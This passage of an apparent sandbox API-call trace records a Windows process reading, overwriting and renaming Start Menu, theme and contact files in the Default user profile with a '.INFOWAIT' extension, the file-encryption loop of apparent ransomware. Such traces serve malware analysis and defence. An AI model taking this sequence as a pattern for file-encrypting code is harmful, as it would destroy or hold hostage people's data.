Menu\\Programs\\Administrative Tools\\desktop.ini", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\desktop.ini.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\desktop.ini.INFOWAIT" [0146.884] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\desktop.ini" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\administrative tools\\desktop.ini"), lpNewFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\desktop.ini.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\administrative tools\\desktop.ini.infowait")) returned 1 [0146.885] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.885] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.886] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0146.886] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\desktop.ini" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0146.886] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x1dc [0146.886] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0146.886] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0146.886] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x1dc, lpOverlapped=0x0) returned 1 [0146.888] VirtualAlloc (lpAddress=0x0, dwSize=0x1dc, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0146.888] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0146.888] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x1dc, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x1dc, lpOverlapped=0x0) returned 1 [0146.888] CloseHandle (hObject=0xad4) returned 1 [0146.888] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\desktop.ini" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\desktop.ini") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\desktop.ini" [0146.888] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\desktop.ini", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\desktop.ini.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\desktop.ini.INFOWAIT" [0146.888] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\desktop.ini" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\desktop.ini"), lpNewFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\desktop.ini.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\desktop.ini.infowait")) returned 1 [0146.888] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.889] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.889] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0146.889] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Internet Explorer (64-bit).lnk" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\internet explorer (64-bit).lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0146.890] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x587 [0146.890] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0146.890] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0146.890] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x587, lpOverlapped=0x0) returned 1 [0146.902] VirtualAlloc (lpAddress=0x0, dwSize=0x587, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0146.902] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0146.902] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x587, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x587, lpOverlapped=0x0) returned 1 [0146.902] CloseHandle (hObject=0xad4) returned 1 [0146.902] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Internet Explorer (64-bit).lnk" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Internet Explorer (64-bit).lnk") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Internet Explorer (64-bit).lnk" [0146.902] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Internet Explorer (64-bit).lnk", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Internet Explorer (64-bit).lnk.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Internet Explorer (64-bit).lnk.INFOWAIT" [0146.902] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Internet Explorer (64-bit).lnk" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\internet explorer (64-bit).lnk"), lpNewFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Internet Explorer (64-bit).lnk.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\internet explorer (64-bit).lnk.infowait")) returned 1 [0146.903] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.904] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.904] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0146.904] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Internet Explorer.lnk" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\internet explorer.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0146.905] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x5a9 [0146.905] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0146.905] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0146.905] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x5a9, lpOverlapped=0x0) returned 1 [0146.907] VirtualAlloc (lpAddress=0x0, dwSize=0x5a9, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0146.907] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0146.907] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x5a9, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x5a9, lpOverlapped=0x0) returned 1 [0146.908] CloseHandle (hObject=0xad4) returned 1 [0146.908] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Internet Explorer.lnk" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Internet Explorer.lnk") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Internet Explorer.lnk" [0146.908] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Internet Explorer.lnk", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Internet Explorer.lnk.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Internet Explorer.lnk.INFOWAIT" [0146.908] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Internet Explorer.lnk" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\internet explorer.lnk"), lpNewFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Internet Explorer.lnk.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\internet explorer.lnk.infowait")) returned 1 [0146.908] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.909] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.909] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0146.909] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\Desktop.ini" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\maintenance\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0146.910] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x13e [0146.910] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0146.910] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0146.910] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x13e, lpOverlapped=0x0) returned 1 [0146.912] VirtualAlloc (lpAddress=0x0, dwSize=0x13e, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0146.912] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0146.912] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x13e, lpOverlapped=0x0) returned 1 [0146.912] CloseHandle (hObject=0xad4) returned 1 [0146.912] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\Desktop.ini" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\Desktop.ini") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\Desktop.ini" [0146.912] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\Desktop.ini", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\Desktop.ini.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\Desktop.ini.INFOWAIT" [0146.912] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\Desktop.ini" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\maintenance\\desktop.ini"), lpNewFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\Desktop.ini.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\maintenance\\desktop.ini.infowait")) returned 1 [0146.913] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.913] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.914] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0146.914] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\Help.lnk" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\maintenance\\help.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0146.914] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x106 [0146.914] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0146.914] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0146.914] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x106, lpOverlapped=0x0) returned 1 [0146.916] VirtualAlloc (lpAddress=0x0, dwSize=0x106, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0146.916] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0146.916] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x106, lpOverlapped=0x0) returned 1 [0146.916] CloseHandle (hObject=0xad4) returned 1 [0146.916] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\Help.lnk" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\Help.lnk") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\Help.lnk" [0146.917] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\Help.lnk", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\Help.lnk.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\Help.lnk.INFOWAIT" [0146.917] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\Help.lnk" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\maintenance\\help.lnk"), lpNewFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\Help.lnk.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\maintenance\\help.lnk.infowait")) returned 1 [0146.920] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.921] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.921] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0146.921] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\desktop.ini" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0146.922] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xae [0146.922] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0146.922] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0146.922] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0xae, lpOverlapped=0x0) returned 1 [0146.923] VirtualAlloc (lpAddress=0x0, dwSize=0xae, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0146.924] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0146.924] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0xae, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0xae, lpOverlapped=0x0) returned 1 [0146.924] CloseHandle (hObject=0xad4) returned 1 [0146.924] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\desktop.ini" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\desktop.ini") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\desktop.ini" [0146.924] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\desktop.ini", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\desktop.ini.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\desktop.ini.INFOWAIT" [0146.924] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\desktop.ini" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\desktop.ini"), lpNewFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\desktop.ini.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\desktop.ini.infowait")) returned 1 [0146.924] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.925] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.925] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0146.925] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\TranscodedWallpaper.jpg" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\themes\\transcodedwallpaper.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0146.927] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x9b944 [0146.927] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0146.927] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0146.927] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x25800, lpOverlapped=0x0) returned 1 [0146.946] VirtualAlloc (lpAddress=0x0, dwSize=0x25800, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0146.956] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0146.956] WriteFile (in: hFile=0xad4, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x25800, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x25800, lpOverlapped=0x0) returned 1 [0146.957] CloseHandle (hObject=0xad4) returned 1 [0146.957] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\TranscodedWallpaper.jpg" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\TranscodedWallpaper.jpg") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\TranscodedWallpaper.jpg" [0146.957] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\TranscodedWallpaper.jpg", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\TranscodedWallpaper.jpg.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\TranscodedWallpaper.jpg.INFOWAIT" [0146.957] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\TranscodedWallpaper.jpg" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\themes\\transcodedwallpaper.jpg"), lpNewFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\TranscodedWallpaper.jpg.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\themes\\transcodedwallpaper.jpg.infowait")) returned 1 [0146.958] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.959] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.959] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0146.959] CreateFileW (lpFileName="C:\\Users\\Default\\Contacts\\Administrator.contact" (normalized: "c:\\users\\default\\contacts\\administrator.contact"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0146.960] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x10b1e [0146.960] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0146.960] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0146.960] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x10b1e, lpOverlapped=0x0) returned 1 [0146.968] VirtualAlloc (lpAddress=0x0, dwSize=0x10b1e, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0146.972] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0146.972] WriteFile (in: hFile=0xad4, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x10b1e, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x10b1e, lpOverlapped=0x0) returned 1 [0146.972] CloseHandle (hObject=0xad4) returned 1 [0146.973] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\Contacts\\Administrator.contact" | out: lpString1="C:\\Users\\Default\\Contacts\\Administrator.contact") returned="C:\\Users\\Default\\Contacts\\Administrator.contact" [0146.973] lstrcatW (in: lpString1="C:\\Users\\Default\\Contacts\\Administrator.contact", lpString2=".INFOWAIT" | out: 